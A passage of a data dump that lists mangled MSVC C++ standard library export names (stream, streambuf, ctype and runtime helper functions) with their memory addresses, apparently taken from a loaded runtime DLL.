'?seekg@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb53810'}, {'type': 'function', 'name': '?seekg@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@V?$fpos@U_Mbstatet@@@2@@Z', 'address': '0x7ffb3bb53910'}, {'type': 'function', 'name': '?seekg@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb53a20'}, {'type': 'function', 'name': '?seekoff@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA?AV?$fpos@U_Mbstatet@@@2@_JHH@Z', 'address': '0x7ffb3bb43f00'}, {'type': 'function', 'name': '?seekoff@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA?AV?$fpos@U_Mbstatet@@@2@_JHH@Z', 'address': '0x7ffb3bb43f00'}, {'type': 'function', 'name': '?seekoff@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA?AV?$fpos@U_Mbstatet@@@2@_JHH@Z', 'address': '0x7ffb3bb43f00'}, {'type': 'function', 'name': '?seekp@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@V?$fpos@U_Mbstatet@@@2@@Z', 'address': '0x7ffb3bb53b30'}, {'type': 'function', 'name': '?seekp@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb53bf0'}, {'type': 'function', 'name': '?seekp@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@V?$fpos@U_Mbstatet@@@2@@Z', 'address': '0x7ffb3bb53b30'}, {'type': 'function', 'name': '?seekp@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb53bf0'}, {'type': 'function', 'name': '?seekp@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@V?$fpos@U_Mbstatet@@@2@@Z', 'address': '0x7ffb3bb53cb0'}, {'type': 'function', 'name': '?seekp@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb53d80'}, {'type': 'function', 'name': '?seekpos@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA?AV?$fpos@U_Mbstatet@@@2@V32@H@Z', 'address': '0x7ffb3bb43f00'}, {'type': 'function', 'name': '?seekpos@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA?AV?$fpos@U_Mbstatet@@@2@V32@H@Z', 'address': '0x7ffb3bb43f00'}, {'type': 'function', 'name': '?seekpos@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA?AV?$fpos@U_Mbstatet@@@2@V32@H@Z', 'address': '0x7ffb3bb43f00'}, {'type': 'function', 'name': '?set_new_handler@std@@YAP6AXXZP6AXXZ@Z', 'address': '0x7ffb3bb2c3a0'}, {'type': 'function', 'name': '?set_rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXPEAV?$basic_streambuf@DU?$char_traits@D@std@@@2@@Z', 'address': '0x7ffb3bb53e50'}, {'type': 'function', 'name': '?set_rdbuf@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXPEAV?$basic_streambuf@GU?$char_traits@G@std@@@2@@Z', 'address': '0x7ffb3bb53e50'}, {'type': 'function', 'name': '?set_rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXPEAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@@Z', 'address': '0x7ffb3bb53e50'}, {'type': 'function', 'name': '?setbase@std@@YA?AU?$_Smanip@H@1@H@Z', 'address': '0x7ffb3bb29860'}, {'type': 'function', 'name': '?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z', 'address': '0x7ffb3bb26290'}, {'type': 'function', 'name': '?setbuf@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAPEAV12@PEAG_J@Z', 'address': '0x7ffb3bb26290'}, {'type': 'function', 'name': '?setbuf@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAPEAV12@PEA_W_J@Z', 'address': '0x7ffb3bb26290'}, {'type': 'function', 'name': '?setf@ios_base@std@@QEAAHH@Z', 'address': '0x7ffb3bb101f0'}, {'type': 'function', 'name': '?setf@ios_base@std@@QEAAHHH@Z', 'address': '0x7ffb3bb02cb0'}, {'type': 'function', 'name': '?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAD00@Z', 'address': '0x7ffb3bb10130'}, {'type': 'function', 'name': '?setg@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXPEAG00@Z', 'address': '0x7ffb3bb10150'}, {'type': 'function', 'name': '?setg@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXPEA_W00@Z', 'address': '0x7ffb3bb10150'}, {'type': 'function', 'name': '?setiosflags@std@@YA?AU?$_Smanip@H@1@H@Z', 'address': '0x7ffb3bb29880'}, {'type': 'function', 'name': '?setp@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAD00@Z', 'address': '0x7ffb3bb106c0'}, {'type': 'function', 'name': '?setp@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAD0@Z', 'address': '0x7ffb3bb101b0'}, {'type': 'function', 'name': '?setp@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXPEAG00@Z', 'address': '0x7ffb3bb10220'}, {'type': 'function', 'name': '?setp@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXPEAG0@Z', 'address': '0x7ffb3bb104a0'}, {'type': 'function', 'name': '?setp@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXPEA_W00@Z', 'address': '0x7ffb3bb10220'}, {'type': 'function', 'name': '?setp@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXPEA_W0@Z', 'address': '0x7ffb3bb104a0'}, {'type': 'function', 'name': '?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z', 'address': '0x7ffb3bb12cc0'}, {'type': 'function', 'name': '?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb04130'}, {'type': 'function', 'name': '?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXI@Z', 'address': '0x7ffb3bb53e60'}, {'type': 'function', 'name': '?setstate@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb04130'}, {'type': 'function', 'name': '?setstate@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXI@Z', 'address': '0x7ffb3bb53e60'}, {'type': 'function', 'name': '?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb077e0'}, {'type': 'function', 'name': '?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXI@Z', 'address': '0x7ffb3bb53e70'}, {'type': 'function', 'name': '?setstate@ios_base@std@@QEAAXH@Z', 'address': '0x7ffb3bb287f0'}, {'type': 'function', 'name': '?setstate@ios_base@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb28860'}, {'type': 'function', 'name': '?setstate@ios_base@std@@QEAAXI@Z', 'address': '0x7ffb3bb28880'}, {'type': 'function', 'name': '?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z', 'address': '0x7ffb3bb13880'}, {'type': 'function', 'name': '?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb04e50'}, {'type': 'function', 'name': '?sgetc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb04170'}, {'type': 'function', 'name': '?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb03020'}, {'type': 'function', 'name': '?sgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEAD_J@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?sgetn@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA_JPEAG_J@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?sgetn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEA_W_J@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?showmanyc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA_JXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?showmanyc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA_JXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb53e90'}, {'type': 'function', 'name': '?snextc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb11af0'}, {'type': 'function', 'name': '?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb02fb0'}, {'type': 'function', 'name': '?sputbackc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z', 'address': '0x7ffb3bb53ef0'}, {'type': 'function', 'name': '?sputbackc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAGG@Z', 'address': '0x7ffb3bb53f40'}, {'type': 'function', 'name': '?sputbackc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z', 'address': '0x7ffb3bb53f40'}, {'type': 'function', 'name': '?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z', 'address': '0x7ffb3bb05620'}, {'type': 'function', 'name': '?sputc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAGG@Z', 'address': '0x7ffb3bb140c0'}, {'type': 'function', 'name': '?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z', 'address': '0x7ffb3bb111b0'}, {'type': 'function', 'name': '?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z', 'address': '0x7ffb3bb0ffd0'}, {'type': 'function', 'name': '?sputn@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA_JPEBG_J@Z', 'address': '0x7ffb3bb0ffd0'}, {'type': 'function', 'name': '?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEB_W_J@Z', 'address': '0x7ffb3bb0ffd0'}, {'type': 'function', 'name': '?stossc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb53f90'}, {'type': 'function', 'name': '?stossc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb53fe0'}, {'type': 'function', 'name': '?stossc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb53fe0'}, {'type': 'function', 'name': '?sungetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb54030'}, {'type': 'function', 'name': '?sungetc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb54080'}, {'type': 'function', 'name': '?sungetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb54080'}, {'type': 'function', 'name': '?swap@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb540d0'}, {'type': 'function', 'name': '?swap@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb54120'}, {'type': 'function', 'name': '?swap@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb54120'}, {'type': 'function', 'name': '?swap@?$basic_iostream@DU?$char_traits@D@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb54170'}, {'type': 'function', 'name': '?swap@?$basic_iostream@GU?$char_traits@G@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb541b0'}, {'type': 'function', 'name': '?swap@?$basic_iostream@_WU?$char_traits@_W@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb541b0'}, {'type': 'function', 'name': '?swap@?$basic_istream@DU?$char_traits@D@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb541f0'}, {'type': 'function', 'name': '?swap@?$basic_istream@GU?$char_traits@G@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb54240'}, {'type': 'function', 'name': '?swap@?$basic_istream@_WU?$char_traits@_W@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb54240'}, {'type': 'function', 'name': '?swap@?$basic_ostream@DU?$char_traits@D@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb54170'}, {'type': 'function', 'name': '?swap@?$basic_ostream@GU?$char_traits@G@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb541b0'}, {'type': 'function', 'name': '?swap@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb541b0'}, {'type': 'function', 'name': '?swap@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb54290'}, {'type': 'function', 'name': '?swap@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb543a0'}, {'type': 'function', 'name': '?swap@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXAEAV12@@Z', 'address': '0x7ffb3bb543a0'}, {'type': 'function', 'name': '?swap@ios_base@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb28890'}, {'type': 'function', 'name': '?sync@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb544a0'}, {'type': 'function', 'name': '?sync@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb54550'}, {'type': 'function', 'name': '?sync@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb54600'}, {'type': 'function', 'name': '?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?sync@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAHXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?sync@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAHXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?sync_with_stdio@ios_base@std@@SA_N_N@Z', 'address': '0x7ffb3bb28920'}, {'type': 'function', 'name': '?table@?$ctype@D@std@@QEBAPEBFXZ', 'address': '0x7ffb3bb28970'}, {'type': 'function', 'name': '?table_size@?$ctype@D@std@@2_KB', 'address': '0x7ffb3bb62378'}, {'type': 'function', 'name': '?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ', 'address': '0x7ffb3bb030a0'}, {'type': 'function', 'name': '?tellg@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ', 'address': '0x7ffb3bb546b0'}, {'type': 'function', 'name': '?tellg@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ', 'address': '0x7ffb3bb54770'}, {'type': 'function', 'name': '?tellp@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ', 'address': '0x7ffb3bb54830'}, {'type': 'function', 'name': '?tellp@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ', 'address': '0x7ffb3bb54830'}, {'type': 'function', 'name': '?tellp@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ', 'address': '0x7ffb3bb548d0'}, {'type': 'function', 'name': '?tie@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAPEAV?$basic_ostream@DU?$char_traits@D@std@@@2@PEAV32@@Z', 'address': '0x7ffb3bb10460'}, {'type': 'function', 'name': '?tie@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBAPEAV?$basic_ostream@DU?$char_traits@D@std@@@2@XZ', 'address': '0x7ffb3bb10470'}, {'type': 'function', 'name': '?tie@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAPEAV?$basic_ostream@GU?$char_traits@G@std@@@2@PEAV32@@Z', 'address': '0x7ffb3bb10460'}, {'type': 'function', 'name': '?tie@?$basic_ios@GU?$char_traits@G@std@@@std@@QEBAPEAV?$basic_ostream@GU?$char_traits@G@std@@@2@XZ', 'address': '0x7ffb3bb10470'}, {'type': 'function', 'name': '?tie@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAPEAV?$basic_ostream@_WU?$char_traits@_W@std@@@2@PEAV32@@Z', 'address': '0x7ffb3bb10460'}, {'type': 'function', 'name': '?tie@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBAPEAV?$basic_ostream@_WU?$char_traits@_W@std@@@2@XZ', 'address': '0x7ffb3bb10470'}, {'type': 'function', 'name': '?tolower@?$ctype@D@std@@QEBADD@Z', 'address': '0x7ffb3bb0fc90'}, {'type': 'function', 'name': '?tolower@?$ctype@D@std@@QEBAPEBDPEADPEBD@Z', 'address': '0x7ffb3bb10790'}, {'type': 'function', 'name': '?tolower@?$ctype@G@std@@QEBAGG@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?tolower@?$ctype@G@std@@QEBAPEBGPEAGPEBG@Z', 'address': '0x7ffb3bb28980'}, {'type': 'function', 'name': '?tolower@?$ctype@_W@std@@QEBAPEB_WPEA_WPEB_W@Z', 'address': '0x7ffb3bb28980'}, {'type': 'function', 'name': '?tolower@?$ctype@_W@std@@QEBA_W_W@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?toupper@?$ctype@D@std@@QEBADD@Z', 'address': '0x7ffb3bb289a0'}, {'type': 'function', 'name': '?toupper@?$ctype@D@std@@QEBAPEBDPEADPEBD@Z', 'address': '0x7ffb3bb283e0'}, {'type': 'function', 'name': '?toupper@?$ctype@G@std@@QEBAGG@Z', 'address': '0x7ffb3bb28610'}, {'type': 'function', 'name': '?toupper@?$ctype@G@std@@QEBAPEBGPEAGPEBG@Z', 'address': '0x7ffb3bb0ffd0'}, {'type': 'function', 'name': '?toupper@?$ctype@_W@std@@QEBAPEB_WPEA_WPEB_W@Z', 'address': '0x7ffb3bb0ffd0'}, {'type': 'function', 'name': '?toupper@?$ctype@_W@std@@QEBA_W_W@Z', 'address': '0x7ffb3bb28610'}, {'type': 'function', 'name': '?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ', 'address': '0x7ffb3bb44fd0'}, {'type': 'function', 'name': '?uflow@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAGXZ', 'address': '0x7ffb3bb442b0'}, {'type': 'function', 'name': '?uflow@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAGXZ', 'address': '0x7ffb3bb442b0'}, {'type': 'function', 'name': '?uncaught_exception@std@@YA_NXZ', 'address': '0x7ffb3bb10100'}, {'type': 'function', 'name': '?uncaught_exceptions@std@@YAHXZ', 'address': '0x7ffb3bb13680'}, {'type': 'function', 'name': '?underflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ', 'address': '0x7ffb3bb10d00'}, {'type': 'function', 'name': '?underflow@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAGXZ', 'address': '0x7ffb3bb43d40'}, {'type': 'function', 'name': '?underflow@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAGXZ', 'address': '0x7ffb3bb43d40'}, {'type': 'function', 'name': '?unget@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ', 'address': '0x7ffb3bb54970'}, {'type': 'function', 'name': '?unget@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@XZ', 'address': '0x7ffb3bb54ab0'}, {'type': 'function', 'name': '?unget@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ', 'address': '0x7ffb3bb54bf0'}, {'type': 'function', 'name': '?unsetf@ios_base@std@@QEAAXH@Z', 'address': '0x7ffb3bb02ec0'}, {'type': 'function', 'name': '?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb12710'}, {'type': 'function', 'name': '?unshift@?$codecvt@GDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb12710'}, {'type': 'function', 'name': '?unshift@?$codecvt@_SDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb12710'}, {'type': 'function', 'name': '?unshift@?$codecvt@_UDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb12710'}, {'type': 'function', 'name': '?unshift@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb12710'}, {'type': 'function', 'name': '?wcerr@std@@3V?$basic_ostream@GU?$char_traits@G@std@@@1@A', 'address': '0x7ffb3bb938e0'}, {'type': 'function', 'name': '?wcerr@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A', 'address': '0x7ffb3bb93c30'}, {'type': 'function', 'name': '?wcin@std@@3V?$basic_istream@GU?$char_traits@G@std@@@1@A', 'address': '0x7ffb3bb93a90'}, {'type': 'function', 'name': '?wcin@std@@3V?$basic_istream@_WU?$char_traits@_W@std@@@1@A', 'address': '0x7ffb3bb93df0'}, {'type': 'function', 'name': '?wclog@std@@3V?$basic_ostream@GU?$char_traits@G@std@@@1@A', 'address': '0x7ffb3bb93b10'}, {'type': 'function', 'name': '?wclog@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A', 'address': '0x7ffb3bb93e70'}, {'type': 'function', 'name': '?wcout@std@@3V?$basic_ostream@GU?$char_traits@G@std@@@1@A', 'address': '0x7ffb3bb93260'}, {'type': 'function', 'name': '?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A', 'address': '0x7ffb3bb93370'}, {'type': 'function', 'name': '?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z', 'address': '0x7ffb3bb06d60'}, {'type': 'function', 'name': '?widen@?$basic_ios@GU?$char_traits@G@std@@@std@@QEBAGD@Z', 'address': '0x7ffb3bb14e90'}, {'type': 'function', 'name': '?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z', 'address': '0x7ffb3bb06ef0'}, {'type': 'function', 'name': '?widen@?$ctype@D@std@@QEBADD@Z', 'address': '0x7ffb3bb10840'}, {'type': 'function', 'name': '?widen@?$ctype@D@std@@QEBAPEBDPEBD0PEAD@Z', 'address': '0x7ffb3bb289e0'}, {'type': 'function', 'name': '?widen@?$ctype@G@std@@QEBAGD@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?widen@?$ctype@G@std@@QEBAPEBDPEBD0PEAG@Z', 'address': '0x7ffb3bb28a00'}, {'type': 'function', 'name': '?widen@?$ctype@_W@std@@QEBAPEBDPEBD0PEA_W@Z', 'address': '0x7ffb3bb28a00'}, {'type': 'function', 'name': '?widen@?$ctype@_W@std@@QEBA_WD@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?width@ios_base@std@@QEAA_J_J@Z', 'address': '0x7ffb3bb10180'}, {'type': 'function', 'name': '?width@ios_base@std@@QEBA_JXZ', 'address': '0x7ffb3bb10250'}, {'type': 'function', 'name': '?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z', 'address': '0x7ffb3bb02e10'}, {'type': 'function', 'name': '?write@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEBG_J@Z', 'address': '0x7ffb3bb54d40'}, {'type': 'function', 'name': '?write@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEB_W_J@Z', 'address': '0x7ffb3bb54e60'}, {'type': 'function', 'name': '?xalloc@ios_base@std@@SAHXZ', 'address': '0x7ffb3bb28a20'}, {'type': 'function', 'name': '?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z', 'address': '0x7ffb3bb451b0'}, {'type': 'function', 'name': '?xsgetn@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA_JPEAG_J@Z', 'address': '0x7ffb3bb44380'}, {'type': 'function', 'name': '?xsgetn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA_JPEA_W_J@Z', 'address': '0x7ffb3bb44380'}, {'type': 'function', 'name': '?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z', 'address': '0x7ffb3bb05690'}, {'type': 'function', 'name': '?xsputn@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAA_JPEBG_J@Z', 'address': '0x7ffb3bb0f4f0'}, {'type': 'function', 'name': '?xsputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAA_JPEB_W_J@Z', 'address': '0x7ffb3bb11210'}, {'type': 'function', 'name': '_Chmod', 'address': '0x7ffb3bb28a60'}, {'type': 'function', 'name': '_Close_dir', 'address': '0x7ffb3bb28ae0'}, {'type': 'function', 'name': '_Cnd_broadcast', 'address': '0x7ffb3bb0f9d0'}, {'type': 'function', 'name': '_Cnd_destroy', 'address': '0x7ffb3bb434b0'}, {'type': 'function', 'name': '_Cnd_destroy_in_situ', 'address': '0x7ffb3bb0fc90'}, {'type': 'function', 'name': '_Cnd_do_broadcast_at_thread_exit', 'address': '0x7ffb3bb109f0'}, {'type': 'function', 'name': '_Cnd_init', 'address': '0x7ffb3bb434e0'}, {'type': 'function', 'name': '_Cnd_init_in_situ', 'address': '0x7ffb3bb10190'}, {'type': 'function', 'name': '_Cnd_register_at_thread_exit', 'address': '0x7ffb3bb24d60'}, {'type': 'function', 'name': '_Cnd_signal', 'address': '0x7ffb3bb104e0'}, {'type': 'function', 'name': '_Cnd_timedwait', 'address': '0x7ffb3bb0f7f0'}, {'type': 'function', 'name': '_Cnd_unregister_at_thread_exit', 'address': '0x7ffb3bb24e40'}, {'type': 'function', 'name': '_Cnd_wait', 'address': '0x7ffb3bb107b0'}, {'type': 'function', 'name': '_Copy_file', 'address': '0x7ffb3bb28af0'}, {'type': 'function', 'name': '_Cosh', 'address': '0x7ffb3bb1f790'}, {'type': 'function', 'name': '_Current_get', 'address': '0x7ffb3bb28b30'}, {'type': 'function', 'name': '_Current_set', 'address': '0x7ffb3bb28b70'}, {'type': 'function', 'name': '_Denorm', 'address': '0x7ffb3bb92a00'}, {'type': 'function', 'name': '_Dtest', 'address': '0x7ffb3bb1ff00'}, {'type': 'function', 'name': '_Equivalent', 'address': '0x7ffb3bb28b90'}, {'type': 'function', 'name': '_Exp', 'address': '0x7ffb3bb20010'}, {'type': 'function', 'name': '_FCosh', 'address': '0x7ffb3bb20150'}, {'type': 'function', 'name': '_FDenorm', 'address': '0x7ffb3bb92920'}, {'type': 'function', 'name': '_FDtest', 'address': '0x7ffb3bb20710'}, {'type': 'function', 'name': '_FExp', 'address': '0x7ffb3bb20830'}, {'type': 'function', 'name': '_FInf', 'address': '0x7ffb3bb928e0'}, {'type': 'function', 'name': '_FNan', 'address': '0x7ffb3bb92900'}, {'type': 'function', 'name': '_FSinh', 'address': '0x7ffb3bb21120'}, {'type': 'function', 'name': '_FSnan', 'address': '0x7ffb3bb92930'}, {'type': 'function', 'name': '_File_size', 'address': '0x7ffb3bb28cf0'}, {'type': 'function', 'name': '_Getcoll', 'address': '0x7ffb3bb10960'}, {'type': 'function', 'name': '_Getctype', 'address': '0x7ffb3bb0ec00'}, {'type': 'function', 'name': '_Getcvt', 'address': '0x7ffb3bb0eb60'}, {'type': 'function', 'name': '_Getdateorder', 'address': '0x7ffb3bb0ecd0'}, {'type': 'function', 'name': '_Getwctype', 'address': '0x7ffb3bb212c0'}, {'type': 'function', 'name': '_Getwctypes', 'address': '0x7ffb3bb21300'}, {'type': 'function', 'name': '_Hard_links', 'address': '0x7ffb3bb28d50'}, {'type': 'function', 'name': '_Hugeval', 'address': '0x7ffb3bb929e0'}, {'type': 'function', 'name': '_Inf', 'address': '0x7ffb3bb929a0'}, {'type': 'function', 'name': '_LCosh', 'address': '0x7ffb3bb21340'}, {'type': 'function', 'name': '_LDenorm', 'address': '0x7ffb3bb92980'}, {'type': 'function', 'name': '_LDtest', 'address': '0x7ffb3bb21590'}, {'type': 'function', 'name': '_LExp', 'address': '0x7ffb3bb215a0'}, {'type': 'function', 'name': '_LInf', 'address': '0x7ffb3bb92940'}, {'type': 'function', 'name': '_LNan', 'address': '0x7ffb3bb92960'}, {'type': 'function', 'name': '_LSinh', 'address': 